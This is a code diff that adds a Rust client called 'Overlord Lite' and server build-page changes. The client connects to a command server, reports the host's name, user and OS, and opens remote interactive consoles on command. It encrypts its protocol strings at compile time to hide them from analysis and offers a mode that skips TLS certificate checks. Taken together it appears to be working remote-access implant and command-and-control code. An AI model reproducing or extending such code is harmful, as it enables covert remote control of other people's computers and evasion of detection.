+    pub message_type: &'static str,
+    pub session_id: &'a str,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub data: Option<&'a serde_bytes::Bytes>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub exit_code: Option<i32>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub error: Option<&'a str>,
+}
+
+pub fn encode<T: Serialize>(value: &T) -> Result<Vec<u8>> {
+    rmp_serde::to_vec_named(value).context("encode MessagePack")
+}
+
+pub fn decode(bytes: &[u8]) -> Result<Value> {
+    rmp_serde::from_slice(bytes).context("decode MessagePack")
+}
+
+pub fn field<'a>(value: &'a Value, name: &str) -> Option<&'a Value> {
+    value
+        .as_map()?
+        .iter()
+        .find_map(|(key, value)| (key.as_str() == Some(name)).then_some(value))
+}
+
+pub fn string_field<'a>(value: &'a Value, name: &str) -> Option<&'a str> {
+    field(value, name)?.as_str()
+}
+
+pub fn required_string<'a>(value: &'a Value, name: &str) -> Result<&'a str> {
+    string_field(value, name).ok_or_else(|| anyhow!("missing or invalid {name}"))
+}
+
+pub fn integer_field(value: &Value, name: &str) -> Option<i64> {
+    let value = field(value, name)?;
+    value
+        .as_i64()
+        .or_else(|| value.as_u64().and_then(|number| i64::try_from(number).ok()))
+}
+
+pub fn command_versions() -> BTreeMap<String, CommandVersionRange> {
+    lite_command_version_support()
+        .into_iter()
+        .map(|(command, min, max)| (command, CommandVersionRange { min, max }))
+        .collect()
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn advertises_only_console_commands() {
+        let commands = command_versions();
+        assert_eq!(commands.len(), 4);
+        for command in [
+            "console_input",
+            "console_resize",
+            "console_start",
+            "console_stop",
+        ] {
+            let versions = commands.get(command).unwrap();
+            assert_eq!(versions.min, 1);
+            assert_eq!(versions.max, 1);
+        }
+    }
+
+    #[test]
+    fn messagepack_uses_wire_field_names() {
+        let ping = Ping {
+            message_type: "ping",
+            ts: 123,
+        };
+        let decoded = decode(&encode(&ping).unwrap()).unwrap();
+        assert_eq!(string_field(&decoded, "type"), Some("ping"));
+        assert_eq!(integer_field(&decoded, "ts"), Some(123));
+    }
+}

Overlord-Lite/src/session.rs

@@ -0,0 +1,521 @@
+use std::{
+    sync::LazyLock,
+    time::{Duration, SystemTime, UNIX_EPOCH},
+};
+
+use crate::{
+    config::{Config, ServerUrl},
+    console::ConsoleHub,
+    identity::Identity,
+    obfstr,
+    protocol::{self, CommandResult, Hello, Ping},
+    tls,
+};
+use anyhow::{Context, Result, anyhow, bail};
+use futures_util::{SinkExt, StreamExt};
+use rmpv::Value;
+use tokio::net::TcpStream;
+use tokio_tungstenite::{
+    MaybeTlsStream, WebSocketStream, connect_async_tls_with_config,
+    tungstenite::{
+        Message,
+        client::IntoClientRequest,
+        http::{HeaderName, HeaderValue},
+    },
+};
+
+type Socket = WebSocketStream<MaybeTlsStream<TcpStream>>;
+
+static API_CLIENTS_PREFIX: LazyLock<String> = LazyLock::new(|| obfstr!("/api/clients/"));
+static STREAM_WS_SUFFIX: LazyLock<String> = LazyLock::new(|| obfstr!("/stream/ws"));
+static ROLE_CLIENT: LazyLock<String> = LazyLock::new(|| obfstr!("role=client"));
+static WEBSOCKET_PROTOCOL_HEADER: LazyLock<String> =
+    LazyLock::new(|| obfstr!("Sec-WebSocket-Protocol"));
+static AGENT_TOKEN_HEADER: LazyLock<String> = LazyLock::new(|| obfstr!("x-agent-token"));
+static BINARY_PROTOCOL: LazyLock<String> = LazyLock::new(|| obfstr!("binary"));
+static FIELD_TYPE: LazyLock<String> = LazyLock::new(|| obfstr!("type"));
+static FIELD_NONCE: LazyLock<String> = LazyLock::new(|| obfstr!("nonce"));
+static FIELD_STATUS: LazyLock<String> = LazyLock::new(|| obfstr!("status"));
+static FIELD_ID: LazyLock<String> = LazyLock::new(|| obfstr!("id"));
+static FIELD_COMMAND_TYPE: LazyLock<String> = LazyLock::new(|| obfstr!("commandType"));
+static FIELD_COMMAND_VERSION: LazyLock<String> = LazyLock::new(|| obfstr!("commandVersion"));
+static FIELD_PAYLOAD: LazyLock<String> = LazyLock::new(|| obfstr!("payload"));
+static FIELD_SESSION_ID: LazyLock<String> = LazyLock::new(|| obfstr!("sessionId"));
+static FIELD_DATA: LazyLock<String> = LazyLock::new(|| obfstr!("data"));
+static FIELD_COLS: LazyLock<String> = LazyLock::new(|| obfstr!("cols"));
+static FIELD_ROWS: LazyLock<String> = LazyLock::new(|| obfstr!("rows"));
+static FIELD_TS: LazyLock<String> = LazyLock::new(|| obfstr!("ts"));
+static ENROLLMENT_CHALLENGE: LazyLock<String> = LazyLock::new(|| obfstr!("enrollment_challenge"));
+static ENROLLMENT_STATUS: LazyLock<String> = LazyLock::new(|| obfstr!("enrollment_status"));
+static HELLO: LazyLock<String> = LazyLock::new(|| obfstr!("hello"));
+static HELLO_ACK: LazyLock<String> = LazyLock::new(|| obfstr!("hello_ack"));
+static PING: LazyLock<String> = LazyLock::new(|| obfstr!("ping"));
+static PONG: LazyLock<String> = LazyLock::new(|| obfstr!("pong"));
+static COMMAND: LazyLock<String> = LazyLock::new(|| obfstr!("command"));
+static COMMAND_RESULT: LazyLock<String> = LazyLock::new(|| obfstr!("command_result"));
+static CONSOLE_START: LazyLock<String> = LazyLock::new(|| obfstr!("console_start"));
+static CONSOLE_INPUT: LazyLock<String> = LazyLock::new(|| obfstr!("console_input"));
+static CONSOLE_RESIZE: LazyLock<String> = LazyLock::new(|| obfstr!("console_resize"));
+static CONSOLE_STOP: LazyLock<String> = LazyLock::new(|| obfstr!("console_stop"));
+static CLIENT_VERSION: LazyLock<String> =
+    LazyLock::new(|| format!("{}{}", obfstr!("rust-lite/"), env!("CARGO_PKG_VERSION")));
+
+pub async fn run(config: &Config, identity: &Identity, server: &ServerUrl) -> Result<()> {
+    let socket_url = format!(
+        "{}{}{}{}?{}",
+        server.as_str().trim_end_matches('/'),
+        API_CLIENTS_PREFIX.as_str(),
+        identity.client_id,
+        STREAM_WS_SUFFIX.as_str(),
+        ROLE_CLIENT.as_str(),
+    );
+
+    let mut request = socket_url.into_client_request()?;
+    request.headers_mut().insert(
+        HeaderName::from_bytes(WEBSOCKET_PROTOCOL_HEADER.as_bytes())?,
+        HeaderValue::from_str(BINARY_PROTOCOL.as_str())?,
+    );
+    if let Some(token) = &config.agent_token {
+        request.headers_mut().insert(
+            HeaderName::from_bytes(AGENT_TOKEN_HEADER.as_bytes())?,
+            HeaderValue::from_str(token)?,
+        );
+    }
+
+    let connector = tls::websocket_connector(config.insecure_tls, &config.tls_spki_pins);
+    let (mut socket, _) = connect_async_tls_with_config(request, None, true, connector)
+        .await
+        .with_context(|| format!("connect to {server}"))?;
+
+    let first = tokio::time::timeout(Duration::from_secs(30), receive_envelope(&mut socket))
+        .await
+        .context("timed out waiting for enrollment challenge")??;
+    let first_type = protocol::required_string(&first, FIELD_TYPE.as_str())?;
+    let (public_key, signature, needs_ack) = if first_type == ENROLLMENT_CHALLENGE.as_str() {
+        let nonce = protocol::required_string(&first, FIELD_NONCE.as_str())?;
+        (
+            identity.public_key_base64(),
+            identity.sign_base64(nonce)?,
+            true,
+        )
+    } else if first_type == HELLO_ACK.as_str() {
+        (String::new(), String::new(), false)
+    } else {
+        bail!("unexpected first server message {first_type:?}")
+    };
+
+    let hello = Hello {
+        message_type: HELLO.as_str(),
+        id: &identity.client_id,
+        hwid: &identity.client_id,
+        host: hostname(),
+        os: wire_os(),
+        arch: wire_arch(),
+        version: CLIENT_VERSION.as_str(),
+        user: username(),
+        monitors: 0,
+        build_tag: config.build_tag.as_deref(),
+        public_key: &public_key,
+        signature: &signature,
+        protocol_version: protocol::WIRE_PROTOCOL_VERSION,
+        command_versions: protocol::command_versions(),
+    };
+    send_value(&mut socket, &hello).await?;
+
+    if needs_ack {
+        loop {
+            let response =
+                tokio::time::timeout(Duration::from_secs(30), receive_envelope(&mut socket))
+                    .await
+                    .context("timed out waiting for enrollment status")??;
+            let response_type = protocol::required_string(&response, FIELD_TYPE.as_str())?;
+            if response_type == HELLO_ACK.as_str() {
+                break;
+            } else if response_type == ENROLLMENT_STATUS.as_str() {
+                let status =
+                    protocol::string_field(&response, FIELD_STATUS.as_str()).unwrap_or("unknown");
+                bail!("enrollment status is {status}");
+            } else if response_type == PING.as_str() {
+                send_protocol_pong(&mut socket, &response).await?;
+            } else if response_type != PONG.as_str() {
+                bail!("unexpected enrollment response {response_type:?}");
+            }
+        }
+    }
+
+    eprintln!("authenticated and connected as {}", identity.client_id);
+    send_value(
+        &mut socket,
+        &Ping {
+            message_type: PING.as_str(),
+            ts: now_millis(),
+        },
+    )
+    .await?;
+
+    let mut heartbeat =
+        tokio::time::interval(config.heartbeat_interval.max(Duration::from_secs(1)));
+    heartbeat.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay);
+    heartbeat.tick().await;
+    let (console_tx, mut console_rx) = tokio::sync::mpsc::channel(64);
+    let mut consoles = ConsoleHub::new(console_tx);
+
+    loop {
+        tokio::select! {
+            _ = heartbeat.tick() => {
+                send_value(&mut socket, &Ping { message_type: PING.as_str(), ts: now_millis() }).await?;
+            }
+            incoming = socket.next() => {
+                let message = incoming.ok_or_else(|| anyhow!("server closed the WebSocket"))??;
+                match message {
+                    Message::Binary(bytes) => {
+                        let envelope = protocol::decode(&bytes)?;
+                        handle_envelope(&mut socket, &mut consoles, &envelope).await?;
+                    }
+                    Message::Ping(bytes) => socket.send(Message::Pong(bytes)).await?,
+                    Message::Pong(_) => {}
+                    Message::Close(frame) => bail!("server closed the session: {frame:?}"),
+                    Message::Text(_) | Message::Frame(_) => {}
+                }
+            }
+            output = console_rx.recv() => {
+                if let Some(output) = output {
+                    socket.send(Message::Binary(output.into())).await?;
+                }
+            }
+        }
+    }
+}
+
+async fn handle_envelope(
+    socket: &mut Socket,
+    consoles: &mut ConsoleHub,
+    envelope: &Value,
+) -> Result<()> {
+    let message_type = protocol::required_string(envelope, FIELD_TYPE.as_str())?;
+    if message_type == PING.as_str() {
+        send_protocol_pong(socket, envelope).await?;
+    } else if message_type == COMMAND.as_str() {
+        handle_command(socket, consoles, envelope).await?;
+    } else if message_type != PONG.as_str() && message_type != HELLO_ACK.as_str() {
+        eprintln!("ignoring unsupported server message {message_type}");
+    }
+    Ok(())
+}
+
+async fn handle_command(
+    socket: &mut Socket,
+    consoles: &mut ConsoleHub,
+    envelope: &Value,
+) -> Result<()> {
+    let command = protocol::required_string(envelope, FIELD_COMMAND_TYPE.as_str())?;
+    if !is_console_command(command) {
+        return send_unsupported_command(socket, envelope).await;
+    }
+
+    let command_id = protocol::string_field(envelope, FIELD_ID.as_str()).unwrap_or("");
+    let command_version = protocol::integer_field(envelope, FIELD_COMMAND_VERSION.as_str())
+        .unwrap_or(1)
+        .max(1) as u16;
+    if command_version != 1 {
+        return send_command_result(
+            socket,
+            command_id,
+            command,
+            command_version,
+            false,
+            Some("unsupported console command version"),
+            Some("unsupported_command_version"),
+        )
+        .await;
+    }
+
+    let payload = protocol::field(envelope, FIELD_PAYLOAD.as_str()).unwrap_or(&Value::Nil);
+    let session_id = protocol::string_field(payload, FIELD_SESSION_ID.as_str()).unwrap_or("");
+    let result = if command == CONSOLE_START.as_str() {
+        consoles.start(
+            session_id,
+            protocol::integer_field(payload, FIELD_COLS.as_str()).unwrap_or(0),
+            protocol::integer_field(payload, FIELD_ROWS.as_str()).unwrap_or(0),
+        )
+    } else if command == CONSOLE_INPUT.as_str() {
+        if session_id.is_empty() {
+            Ok(())
+        } else {
+            let data = protocol::string_field(payload, FIELD_DATA.as_str()).unwrap_or("");
+            consoles.write(session_id, data)
+        }
+    } else if command == CONSOLE_RESIZE.as_str() {
+        if session_id.is_empty() {
+            Ok(())
+        } else {
+            consoles.resize(
+                session_id,
+                protocol::integer_field(payload, FIELD_COLS.as_str()).unwrap_or(0),
+                protocol::integer_field(payload, FIELD_ROWS.as_str()).unwrap_or(0),
+            )
+        }
+    } else {
+        if !session_id.is_empty() {
+            consoles.stop(session_id);
+        }
+        Ok(())
+    };
+
+    match result {
+        Ok(()) => send_command_result(socket, command_id, command, 1, true, None, None).await,
+        Err(error) => {
+            let message = error.to_string();
+            send_command_result(
+                socket,
+                command_id,
+                command,
+                1,
+                false,
+                Some(&message),
+                Some("console_error"),
+            )
+            .await
+        }
+    }
+}
+
+async fn send_command_result(
+    socket: &mut Socket,
+    command_id: &str,
+    command_type: &str,
+    command_version: u16,
+    ok: bool,
+    message: Option<&str>,
+    error_code: Option<&str>,
+) -> Result<()> {
+    send_value(
+        socket,
+        &CommandResult {
+            message_type: COMMAND_RESULT.as_str(),
+            command_id,
+            command_type,
+            command_version,
+            ok,
+            message,
+            error_code,
+        },
+    )
+    .await
+}
+
+async fn send_unsupported_command(socket: &mut Socket, envelope: &Value) -> Result<()> {
+    let command = protocol::required_string(envelope, FIELD_COMMAND_TYPE.as_str())?;
+    let command_id = protocol::string_field(envelope, FIELD_ID.as_str()).unwrap_or("");
+    let version = protocol::integer_field(envelope, FIELD_COMMAND_VERSION.as_str())
+        .unwrap_or(1)
+        .max(1) as u16;
+    send_value(
+        socket,
+        &CommandResult {
+            message_type: COMMAND_RESULT.as_str(),
+            command_id,
+            command_type: command,
+            command_version: version,
+            ok: false,
+            message: Some("command is not supported by Overlord Lite"),
+            error_code: Some("unsupported_command"),
+        },
+    )
+    .await
+}
+
+async fn receive_envelope(socket: &mut Socket) -> Result<Value> {
+    loop {
+        match socket
+            .next()
+            .await
+            .ok_or_else(|| anyhow!("server closed the WebSocket"))??
+        {
+            Message::Binary(bytes) => return protocol::decode(&bytes),
+            Message::Ping(bytes) => socket.send(Message::Pong(bytes)).await?,
+            Message::Pong(_) | Message::Text(_) | Message::Frame(_) => {}
+            Message::Close(frame) => bail!("server closed the session: {frame:?}"),
+        }
+    }
+}
+
+async fn send_value<T: serde::Serialize>(socket: &mut Socket, value: &T) -> Result<()> {
+    socket
+        .send(Message::Binary(protocol::encode(value)?.into()))
+        .await?;
+    Ok(())
+}
+
+async fn send_protocol_pong(socket: &mut Socket, incoming: &Value) -> Result<()> {
+    send_value(
+        socket,
+        &Ping {
+            message_type: PONG.as_str(),
+            ts: protocol::integer_field(incoming, FIELD_TS.as_str()).unwrap_or_else(now_millis),
+        },
+    )
+    .await
+}
+
+fn is_console_command(command: &str) -> bool {
+    command == CONSOLE_START.as_str()
+        || command == CONSOLE_INPUT.as_str()
+        || command == CONSOLE_RESIZE.as_str()
+        || command == CONSOLE_STOP.as_str()
+}
+
+fn hostname() -> String {
+    std::env::var(if cfg!(windows) {
+        "COMPUTERNAME"
+    } else {
+        "HOSTNAME"
+    })
+    .ok()
+    .filter(|value| !value.trim().is_empty())
+    .unwrap_or_else(|| "unknown".to_owned())
+}
+
+fn username() -> String {
+    std::env::var(if cfg!(windows) { "USERNAME" } else { "USER" })
+        .ok()
+        .filter(|value| !value.trim().is_empty())
+        .unwrap_or_else(|| "unknown".to_owned())
+}
+
+fn wire_os() -> &'static str {
+    match std::env::consts::OS {
+        "macos" => "darwin",
+        other => other,
+    }
+}
+
+fn wire_arch() -> &'static str {
+    match std::env::consts::ARCH {
+        "x86_64" => "amd64",
+        "aarch64" => "arm64",
+        "x86" => "386",
+        other => other,
+    }
+}
+
+fn now_millis() -> i64 {
+    SystemTime::now()
+        .duration_since(UNIX_EPOCH)
+        .unwrap_or_default()
+        .as_millis() as i64
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use base64::{Engine as _, engine::general_purpose::STANDARD};
+    use ed25519_dalek::{Signature, VerifyingKey};
+    use tempfile::tempdir;
+    use tokio::net::TcpListener;
+    use tokio_tungstenite::accept_hdr_async;
+
+    #[tokio::test]
+    #[allow(clippy::result_large_err)] // Required by tungstenite's handshake callback signature.
+    async fn authenticates_and_advertises_console_commands() {
+        let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
+        let address = listener.local_addr().unwrap();
+        let state = tempdir().unwrap();
+        let identity = Identity::load_or_create(state.path()).unwrap();
+        let server_url = ServerUrl::parse(&format!("ws://{address}")).unwrap();
+        let config = Config {
+            servers: vec![server_url.clone()],
+            agent_token: Some("test-agent-token".to_owned()),
+            build_tag: Some("test-build-tag".to_owned()),
+            insecure_tls: true,
+            tls_spki_pins: Vec::new(),
+            state_dir: state.path().to_owned(),
+            reconnect_delay: Duration::from_millis(1),
+            heartbeat_interval: Duration::from_secs(60),
+        };
+        let expected_client_id = identity.client_id.clone();
+
+        let mock_server = tokio::spawn(async move {
+            let (tcp, _) = listener.accept().await.unwrap();
+            let mut socket = accept_hdr_async(tcp, |request: &tokio_tungstenite::tungstenite::handshake::server::Request, mut response: tokio_tungstenite::tungstenite::handshake::server::Response| {
+                assert_eq!(request.headers()["x-agent-token"], "test-agent-token");
+                assert!(request.uri().path().contains(&expected_client_id));
+                response.headers_mut().insert("Sec-WebSocket-Protocol", HeaderValue::from_static("binary"));
+                Ok(response)
+            }).await.unwrap();
+
+            let nonce = [7u8; 32];
+            let challenge = serde_json::json!({ "type": "enrollment_challenge", "nonce": STANDARD.encode(nonce) });
+            socket
+                .send(Message::Binary(
+                    protocol::encode(&challenge).unwrap().into(),
+                ))
+                .await
+                .unwrap();
+
+            let Message::Binary(hello_bytes) = socket.next().await.unwrap().unwrap() else {
+                panic!("expected binary hello")
+            };
+            let hello = protocol::decode(&hello_bytes).unwrap();
+            assert_eq!(protocol::string_field(&hello, "type"), Some("hello"));
+            assert_eq!(
+                protocol::string_field(&hello, "buildTag"),
+                Some("test-build-tag")
+            );
+            assert_eq!(
+                protocol::string_field(&hello, "version"),
+                Some(concat!("rust-lite/", env!("CARGO_PKG_VERSION")))
+            );
+            let command_versions = protocol::field(&hello, "commandVersions")
+                .unwrap()
+                .as_map()
+                .unwrap();
+            assert_eq!(command_versions.len(), 4);
+            for command in [
+                "console_input",
+                "console_resize",
+                "console_start",
+                "console_stop",
+            ] {
+                assert!(
+                    command_versions
+                        .iter()
+                        .any(|(key, _)| key.as_str() == Some(command))
+                );
+            }
+
+            let public_key: [u8; 32] = STANDARD
+                .decode(protocol::required_string(&hello, "publicKey").unwrap())
+                .unwrap()
+                .try_into()
+                .unwrap();
+            let signature = Signature::from_slice(
+                &STANDARD
+                    .decode(protocol::required_string(&hello, "signature").unwrap())
+                    .unwrap(),
+            )
+            .unwrap();
+            VerifyingKey::from_bytes(&public_key)
+                .unwrap()
+                .verify_strict(&nonce, &signature)
+                .unwrap();
+
+            let ack = serde_json::json!({ "type": "hello_ack", "id": expected_client_id, "protocolVersion": 1 });
+            socket
+                .send(Message::Binary(protocol::encode(&ack).unwrap().into()))
+                .await
+                .unwrap();
+            let Message::Binary(ping_bytes) = socket.next().await.unwrap().unwrap() else {
+                panic!("expected initial ping")
+            };
+            assert_eq!(
+                protocol::string_field(&protocol::decode(&ping_bytes).unwrap(), "type"),
+                Some("ping")
+            );
+            socket.close(None).await.unwrap();
+        });
+
+        assert!(run(&config, &identity, &server_url).await.is_err());
+        mock_server.await.unwrap();
+    }
+}

Overlord-Lite/src/tls.rs

@@ -0,0 +1,259 @@
+use std::{fmt::Debug, sync::Arc};
+
+use base64::{Engine as _, engine::general_purpose::STANDARD};
+use rustls::{
+    ClientConfig, DigitallySignedStruct, RootCertStore, SignatureScheme,
+    client::{
+        WebPkiServerVerifier,
+        danger::{HandshakeSignatureValid, ServerCertVerified, ServerCertVerifier},
+    },
+    crypto::CryptoProvider,
+    pki_types::{CertificateDer, ServerName, UnixTime},
+};
+use sha2::{Digest, Sha256};
+use tokio_tungstenite::Connector;
+
+pub fn websocket_connector(insecure: bool, pins: &[[u8; 32]]) -> Option<Connector> {
+    custom_client_config(insecure, pins).map(|config| Connector::Rustls(Arc::new(config)))
+}
+
+fn custom_client_config(insecure: bool, pins: &[[u8; 32]]) -> Option<ClientConfig> {
+    if !insecure && pins.is_empty() {
+        return None;
+    }
+
+    let provider = Arc::new(rustls::crypto::ring::default_provider());
+    let verifier: Arc<dyn ServerCertVerifier> = if insecure {
+        Arc::new(NoCertificateVerification {
+            provider: provider.clone(),
+        })
+    } else {
+        Arc::new(PinnedCertificateVerification {
+            pins: pins.to_vec(),
+            provider: provider.clone(),
+        })
+    };
+    Some(
+        ClientConfig::builder_with_provider(provider)
+            .with_safe_default_protocol_versions()
+            .expect("ring supports the default TLS protocol versions")
+            .dangerous()
+            .with_custom_certificate_verifier(verifier)
+            .with_no_client_auth(),
+    )
+}
+
+#[derive(Debug)]
+struct PinnedCertificateVerification {
+    pins: Vec<[u8; 32]>,
+    provider: Arc<CryptoProvider>,
+}
+
+impl ServerCertVerifier for PinnedCertificateVerification {
+    fn verify_server_cert(
+        &self,
+        end_entity: &CertificateDer<'_>,
+        intermediates: &[CertificateDer<'_>],
+        server_name: &ServerName<'_>,
+        ocsp_response: &[u8],
+        now: UnixTime,
+    ) -> Result<ServerCertVerified, rustls::Error> {
+        let spki = certificate_spki(end_entity.as_ref()).ok_or_else(|| {
+            rustls::Error::InvalidCertificate(rustls::CertificateError::BadEncoding)
+        })?;
+        let actual = Sha256::digest(spki);
+        if !self.pins.iter().any(|expected| expected[..] == actual[..]) {
+            return Err(rustls::Error::General(format!(
+                "TLS server identity pin mismatch (received sha256/{})",
+                STANDARD.encode(actual),
+            )));
+        }
+
+        // The pin makes this exact public key the trust anchor. Delegating the
+        // rest to webpki retains certificate time, name, purpose, and encoding
+        // checks instead of turning verification off for self-signed servers.
+        let mut roots = RootCertStore::empty();
+        roots.add(end_entity.clone())?;
+        let verifier =
+            WebPkiServerVerifier::builder_with_provider(Arc::new(roots), self.provider.clone())
+                .build()
+                .map_err(|error| {
+                    rustls::Error::General(format!("build pinned TLS verifier: {error}"))
+                })?;
+        verifier.verify_server_cert(end_entity, intermediates, server_name, ocsp_response, now)
+    }
+
+    fn verify_tls12_signature(
+        &self,
+        message: &[u8],
+        cert: &CertificateDer<'_>,
+        dss: &DigitallySignedStruct,
+    ) -> Result<HandshakeSignatureValid, rustls::Error> {
+        rustls::crypto::verify_tls12_signature(
+            message,
+            cert,
+            dss,
+            &self.provider.signature_verification_algorithms,
+        )
+    }
+
+    fn verify_tls13_signature(
+        &self,
+        message: &[u8],
+        cert: &CertificateDer<'_>,
+        dss: &DigitallySignedStruct,
+    ) -> Result<HandshakeSignatureValid, rustls::Error> {
+        rustls::crypto::verify_tls13_signature(
+            message,
+            cert,
+            dss,
+            &self.provider.signature_verification_algorithms,
+        )
+    }
+
+    fn supported_verify_schemes(&self) -> Vec<SignatureScheme> {
+        self.provider
+            .signature_verification_algorithms
+            .supported_schemes()
+    }
+}
+
+#[derive(Debug)]
+struct NoCertificateVerification {
+    provider: Arc<CryptoProvider>,
+}
+
+impl ServerCertVerifier for NoCertificateVerification {
+    fn verify_server_cert(
+        &self,
+        _end_entity: &CertificateDer<'_>,
+        _intermediates: &[CertificateDer<'_>],
+        _server_name: &ServerName<'_>,
+        _ocsp_response: &[u8],
+        _now: UnixTime,
+    ) -> Result<ServerCertVerified, rustls::Error> {
+        Ok(ServerCertVerified::assertion())
+    }
+
+    fn verify_tls12_signature(
+        &self,
+        message: &[u8],
+        cert: &CertificateDer<'_>,
+        dss: &DigitallySignedStruct,
+    ) -> Result<HandshakeSignatureValid, rustls::Error> {
+        rustls::crypto::verify_tls12_signature(
+            message,
+            cert,
+            dss,
+            &self.provider.signature_verification_algorithms,
+        )
+    }
+
+    fn verify_tls13_signature(
+        &self,
+        message: &[u8],
+        cert: &CertificateDer<'_>,
+        dss: &DigitallySignedStruct,
+    ) -> Result<HandshakeSignatureValid, rustls::Error> {
+        rustls::crypto::verify_tls13_signature(
+            message,
+            cert,
+            dss,
+            &self.provider.signature_verification_algorithms,
+        )
+    }
+
+    fn supported_verify_schemes(&self) -> Vec<SignatureScheme> {
+        self.provider
+            .signature_verification_algorithms
+            .supported_schemes()
+    }
+}
+
+struct DerElement<'a> {
+    tag: u8,
+    full: &'a [u8],
+    content: &'a [u8],
+    rest: &'a [u8],
+}
+
+fn der_element(input: &[u8]) -> Option<DerElement<'_>> {
+    let tag = *input.first()?;
+    let first_length = *input.get(1)?;
+    let (header_length, content_length) = if first_length & 0x80 == 0 {
+        (2, usize::from(first_length))
+    } else {
+        let length_bytes = usize::from(first_length & 0x7f);
+        if length_bytes == 0 || length_bytes > std::mem::size_of::<usize>() {
+            return None;
+        }
+        let bytes = input.get(2..2 + length_bytes)?;
+        if bytes.first() == Some(&0) {
+            return None;
+        }
+        let mut length = 0usize;
+        for byte in bytes {
+            length = length.checked_mul(256)?.checked_add(usize::from(*byte))?;
+        }
+        if length < 128 {
+            return None;
+        }
+        (2 + length_bytes, length)
+    };
+    let total_length = header_length.checked_add(content_length)?;
+    let full = input.get(..total_length)?;
+    Some(DerElement {
+        tag,
+        full,
+        content: &full[header_length..],
+        rest: &input[total_length..],
+    })
+}
+
+fn certificate_spki(certificate: &[u8]) -> Option<&[u8]> {
+    let certificate = der_element(certificate)?;
+    if certificate.tag != 0x30 || !certificate.rest.is_empty() {
+        return None;
+    }
+    let tbs = der_element(certificate.content)?;
+    if tbs.tag != 0x30 {
+        return None;
+    }
+
+    let mut fields = tbs.content;
+    let first = der_element(fields)?;
+    if first.tag == 0xa0 {
+        fields = first.rest;
+    }
+    // serialNumber, signature, issuer, validity, and subject precede SPKI.
+    for _ in 0..5 {
+        fields = der_element(fields)?.rest;
+    }
+    let spki = der_element(fields)?;
+    (spki.tag == 0x30).then_some(spki.full)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn extracts_complete_spki_der_from_certificate() {
+        let certificate = [
+            0x30, 0x17, // Certificate sequence
+            0x30, 0x15, // TBSCertificate sequence
+            0xa0, 0x03, 0x02, 0x01, 0x02, // version
+            0x02, 0x01, 0x01, // serial number
+            0x30, 0x00, // signature
+            0x30, 0x00, // issuer
+            0x30, 0x00, // validity
+            0x30, 0x00, // subject
+            0x30, 0x03, 0x01, 0x01, 0xff, // SPKI
+        ];
+        assert_eq!(
+            certificate_spki(&certificate),
+            Some(&certificate[20..25][..])
+        );
+        assert_eq!(certificate_spki(&certificate[..24]), None);
+    }
+}

Overlord-Lite/string-obfuscator/Cargo.toml

@@ -0,0 +1,13 @@
+[package]
+name = "overlord-lite-string-obfuscator"
+version = "0.1.0"
+edition = "2024"
+publish = false
+
+[lib]
+proc-macro = true
+
+[dependencies]
+proc-macro2 = "1.0"
+quote = "1.0"
+syn = { version = "2.0", features = ["parsing"] }

Overlord-Lite/string-obfuscator/src/lib.rs

@@ -0,0 +1,61 @@
+use std::{
+    hash::{Hash, Hasher},
+    sync::atomic::{AtomicU64, Ordering},
+    time::{SystemTime, UNIX_EPOCH},
+};
+
+use proc_macro::TokenStream;
+use quote::quote;
+use syn::{LitStr, parse_macro_input};
+
+static INVOCATION: AtomicU64 = AtomicU64::new(1);
+
+/// Encrypts one UTF-8 string literal while the crate is being compiled and
+/// expands to an expression that decrypts it only when evaluated at runtime.
+#[proc_macro]
+pub fn obfstr(input: TokenStream) -> TokenStream {
+    let literal = parse_macro_input!(input as LitStr);
+    let plaintext = literal.value();
+    let seed = invocation_seed(&plaintext);
+    let encrypted = crypt(plaintext.as_bytes(), seed);
+    let bytes = encrypted.iter();
+
+    quote!({
+        const ENCRYPTED: &[u8] = &[#(#bytes),*];
+        ::overlord_lite::obfuscation::decrypt(ENCRYPTED, #seed)
+    })
+    .into()
+}
+
+fn invocation_seed(value: &str) -> u64 {
+    let timestamp = SystemTime::now()
+        .duration_since(UNIX_EPOCH)
+        .unwrap_or_default()
+        .as_nanos() as u64;
+    let invocation = INVOCATION.fetch_add(1, Ordering::Relaxed);
+    let mut hasher = std::collections::hash_map::DefaultHasher::new();
+    value.hash(&mut hasher);
+    timestamp.hash(&mut hasher);
+    invocation.hash(&mut hasher);
+    std::process::id().hash(&mut hasher);
+    normalize_seed(hasher.finish())
+}
+
+fn crypt(input: &[u8], seed: u64) -> Vec<u8> {
+    let mut state = normalize_seed(seed);
+    input
+        .iter()
+        .map(|byte| byte ^ next_key_byte(&mut state))
+        .collect()
+}
+
+fn normalize_seed(seed: u64) -> u64 {
+    seed | 1
+}
+
+fn next_key_byte(state: &mut u64) -> u8 {
+    *state ^= *state >> 12;
+    *state ^= *state << 25;
+    *state ^= *state >> 27;
+    (state.wrapping_mul(0x2545_f491_4f6c_dd1d) >> 56) as u8
+}

Overlord-Server/public/assets/build.js

@@ -14,6 +14,8 @@ const form = document.getElementById("build-form");
 const buildBtn = document.getElementById("build-btn");
 const buildStatus = document.getElementById("build-status");
 const buildStatusText = document.getElementById("build-status-text");
+const buildProgressTrack = document.getElementById("build-progress-track");
+const buildProgressBar = document.getElementById("build-progress-bar");
 const buildOutputDiv = document.getElementById("build-output");
 const buildOutputContainer = document.getElementById("build-output-container");
 const buildLogIssueCount = document.getElementById("build-log-issue-count");
@@ -59,6 +61,8 @@ const platformInputs = document.querySelectorAll('input[name="platform"]');
 const buildPluginsSection = document.getElementById("build-plugins-section");
 const buildPluginsList = document.getElementById("build-plugins-list");
 const buildPluginsCount = document.getElementById("build-plugins-count");
+const buildProviderSelect = document.getElementById("build-provider");
+const buildProviderDescription = document.getElementById("build-provider-description");
 const macosSdkUploadSection = document.getElementById("macos-sdk-upload-section");
 const macosSdkFileInput = document.getElementById("macos-sdk-file");
 const macosSdkRightsInput = document.getElementById("macos-sdk-rights");
@@ -88,6 +92,7 @@ async function loadMacosSdkStatus() {
 }
 
 function needsMacosSdkUpload() {
+  if (buildProviderSelect?.value) return false;
   const hasDarwin = Array.from(document.querySelectorAll('input[name="platform"]:checked'))
     .some((input) => input.value.startsWith("darwin-"));
